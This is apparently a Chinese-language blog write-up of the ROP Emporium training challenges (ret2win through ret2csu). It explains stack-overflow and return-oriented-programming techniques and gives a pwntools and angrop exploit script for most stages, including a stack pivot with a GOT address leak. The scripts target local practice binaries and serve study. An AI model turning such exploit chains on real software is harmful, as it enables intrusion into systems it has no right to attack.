misc是没前途的!是时候开始重新学下pwn了!
ret2win
最简单的栈溢出,没有任何保护
给了一个shell,直接写shell地址就好。
from pwn import *
context.log_level = "debug"
elf = ELF("./ret2win")
p = process(["orb", "./ret2win"])
payload = b"A" * 0x28 + p64(elf.symbols["ret2win"])
p.sendlineafter(b"> ", payload)
p.interactive() split
这里是一样的,多了一个string地址,需要用pop方式清空掉rdi,然后再调用。
所以rop链是什么?把返回地址覆盖掉,程序会依次调到你构造的rop地址然后(ret; gadget加上之后会返回到原来的地址)。
这里尝试用一下angrop,感觉未来做普通rop题都能用了。
from pwn import *
import angr, angrop
from multiprocessing import cpu_count
cpu_num = cpu_count()
if __name__ == "__main__":
p = angr.Project("./split", auto_load_libs=False)
rop = p.analyses.ROP()
cache = "./angrop.cache"
if os.path.exists(cache):
rop.load_gadgets(cache, optimize=False)
else:
rop.find_gadgets(processes=cpu_num, optimize=False)
rop.save_gadgets(cache)
ch = rop.set_regs(rdi=0x601060) + \
rop.func_call(0x400560, [])
print(ch.payload_code())
chain = b""
chain += p64(0x4007c3) # pop rdi; ret
chain += p64(0x601060)
chain += p64(0x400560) # <func_0x40074b>
p = process(["orb", "./split"])
p.sendlineafter(b"> ", b"A" * 0x28 + chain)
p.interactive() callme
这个明显可以直接逆向了()
但是如果要用程序自执行的话,我们需要依次调用so文件里的callme_one, callme_two, callme_three。
import angr, angrop
import logging
logging.getLogger().handlers.clear()
logging.basicConfig(level=logging.CRITICAL)
from pwn import *
context.log_level = "error"
if __name__ == "__main__":
elf = angr.Project("./callme", auto_load_libs=True)
ELF = ELF("./callme")
rop = elf.analyses.ROP()
rop.find_gadgets()
cache = "./angrop.cache"
if os.path.exists(cache):
rop.load_gadgets(cache, optimize=False)
else:
rop.find_gadgets(optimize=False)
rop.save_gadgets(cache)
callme_one = ELF.symbols["callme_one"]
callme_two = ELF.symbols["callme_two"]
callme_three = ELF.symbols["callme_three"]
print(f"callme_one: {hex(callme_one)}")
print(f"callme_two: {hex(callme_two)}")
print(f"callme_three: {hex(callme_three)}")
ch = rop.func_call(callme_one, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]) + \
rop.func_call(callme_two, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D]) + \
rop.func_call(callme_three, [0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D])
print(ch.payload_code())
p = process(["orb", "./callme"])
p.sendlineafter(b"> ", b"A" * 0x28 + ch.payload_str())
p.interactive() write4
需要把文件名写到bss段里。
不过有了angrop的话,想来以后rop题基本上找到leak就能直接出了吧。
import angr, angrop
from pwn import *
context.log_level = "error"
if __name__ == "__main__":
elf = angr.Project("./write4", auto_load_libs=True)
ELF = ELF("./write4")
rop = elf.analyses.ROP()
rop.find_gadgets(processes=1)
cache = "./angrop.cache"
if os.path.exists(cache):
rop.load_gadgets(cache, optimize=False)
else:
rop.find_gadgets(optimize=False)
rop.save_gadgets(cache)
bss = ELF.bss()
print(bss)
chain = rop.write_to_mem(bss + 0x0, b"flag.txt") + \
rop.func_call(ELF.symbols["print_file"], [bss])
print(chain)
payload = b"A" * 0x28 + chain.payload_str()
p = process(["orb", "./write4"])
p.sendline(payload)
p.interactive() badchars
加了过滤,我们随便写一段字符串然后用xor放进去就行。
这里xor是我自己改出来的(,可能交个pr给angrop?
import os
import angr
import angrop # noqa: F401
from pwn import *
context.log_level = "error"
if __name__ == "__main__":
proj = angr.Project("./badchars", auto_load_libs=False)
elf = ELF("./badchars")
rop = proj.analyses.ROP()
rop.set_badbytes([ord("x"), ord("g"), ord("a"), ord(".")])
cache = "./angrop.cache"
if os.path.exists(cache):
rop.load_gadgets(cache, optimize=False)
else:
rop.find_gadgets(optimize=False)
rop.save_gadgets(cache)
bss = elf.bss()
print(f".bss addr: {hex(bss)}")
bad_chars = {ord("x"), ord("g"), ord("a"), ord(".")}
data = b"flag.txt"
new_data = b"flbhbtyt"
chain = rop.write_to_mem(bss, new_data)
for i in range(len(data)):
if data[i] in bad_chars:
chain += rop.xor_mem(bss + i, data[i] ^ new_data[i], data_size=8)
chain += rop.func_call(elf.symbols["print_file"], [bss])
print(chain)
payload = b"A" * 0x28 + chain.payload_str()
p = process(["orb", "./badchars"])
p.sendline(payload)
p.interactive()
fluff
这个看起来自动化不太能做。用了很多奇怪的指令并不是常见的东西。当然比赛一般不会这么搞,所以还是手搓下吧。
xlat:以al为偏移,索引bx指向内存中的字节,可以用来从内存里取字节,需要al和bx的值可控
bextr:位域索引,第一个源操作数是原数据,第二个源操作数是索引开始位置(8位)和长度,这里可以控制rbx的值
stosb可以保存1个字节从al到rdi指向的地址,rdi可以控制,设置为随便一个可写地址就行。不给代码了可以去看别人写的。我写得好烂
pivot
这里给了个堆指针 + 一个短很多的栈溢出。所以我们需要ret2heap,然后heap上写我们的rop chain。需要注意我们现在没有ret2win的地址(在so里面),需要用foothold_function打印plt表。
注意这里是一种新方法:因为第二次输入的只有0x40,不够覆盖太多内容,我们需要把栈迁移到第一次输入的地方然后再执行。
唉,写poc还是太麻烦了。
from pwn import *
context.log_level = "error"
import os
import angr
import angrop # noqa: F401
context.terminal = ["tmux", "splitw", "-h"]
if __name__ == "__main__":
proj = angr.Project("./pivot", auto_load_libs=False)
elf = ELF("./pivot")
lib = ELF("./libpivot.so")
rop = proj.analyses.ROP()
cache = "./angrop.cache"
if os.path.exists(cache):
rop.load_gadgets(cache, optimize=False)
else:
rop.find_gadgets(optimize=False)
rop.save_gadgets(cache)
p = process(["orb", "qemu-x86_64", "./pivot"])
p.recvuntil(b"pivot: ")
pivot_addr = int(p.recvline().strip(), 16)
print(f"pivot address: {hex(pivot_addr)}")
bss = elf.bss()
print(f".bss addr: {hex(bss)}")
chain_heap = rop.func_call(elf.symbols["foothold_function"], [])
chain_heap += rop.func_call(elf.symbols["puts"], [elf.got["foothold_function"]]) # then recv plt table -> get ret2win
chain_heap += rop.func_call(elf.symbols["main"], []) # return to main to read again
print(chain_heap)
p.sendlineafter(b"> ", chain_heap.payload_str())
chain_stack1 = rop.pivot(pivot_addr + 0x8)
print(chain_stack1)
p.sendlineafter(b"> ", b"A" * 0x28 + chain_stack1.payload_str())
p.recvuntil(b"foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot\n")
leaked = p.recvuntil(b"\n", drop=True)
leaked = u64(leaked.ljust(8, b"\x00"))
print(f"leaked foothold_function addr: {hex(leaked)}")
libpivot_foothold = lib.symbols["foothold_function"]
libpivot_ret2win = lib.symbols["ret2win"]
offset = libpivot_ret2win - libpivot_foothold
ret2win_addr = leaked + offset
print(f"ret2win addr: {hex(ret2win_addr)}")
chain_heap2 = rop.func_call(ret2win_addr, [])
print(chain_heap2)
p.sendlineafter(b"> ", chain_heap.payload_str())
p.sendlineafter(b"> ", b"A" * 0x28+ chain_heap2.payload_str())
print(p.recvall(timeout=1).decode()) ret2scu
这个就似乎不太能用angrop这种自动化工具了(当然比赛也很少有这种苛刻的条件吧?)
需要先用下面的pop设置寄存器,在用上面的680开始的一段设置rdx和rax。
from pwn import *
context.log_level = "error"
import os
import angr
import angrop # noqa: F401
context.terminal = ["tmux", "splitw", "-h"]
if __name__ == "__main__":
proj = angr.Project("./ret2csu", auto_load_libs=False)
elf = ELF("./ret2csu")
lib = ELF("./libret2csu.so")
rop = proj.analyses.ROP()
cache = "./angrop.cache"
if os.path.exists(cache):
rop.load_gadgets(cache, optimize=False)
else:
rop.find_gadgets(optimize=False)
rop.save_gadgets(cache)
# chain = rop.set_regs(rdi=0xDEADBEEFDEADBEEF, rsi=0xCAFEBABECAFEBABE, rdx=0xD00DF00DD00DF00D)
chain = rop.set_regs(rbx=0, rbp=1, r12=0x000000000600E48, r13=0xdeadbeefdeadbeef, r14=0xcafebabecafebabe, r15=0xd00df00dd00df00d)
chain.add_value(0xdeadbeefdeadbeef)
chain.add_value(0x400680)
chain.add_value(0x0)
chain.add_value(0x0)
chain.add_value(0x0)
chain.add_value(0x0)
chain.add_value(0x0)
chain.add_value(0x0)
chain.add_value(0x0)
chain.add_value(0x4006a3)
chain += rop.set_regs(rdi=0xDEADBEEFDEADBEEF)
chain += rop.func_call(elf.symbols["ret2win"], [])
print(chain)
p = process(["orb","qemu-x86_64","./ret2csu"])
p.sendlineafter(b"> ",b"A" * 0x28 + chain.payload_str())
p.interactive()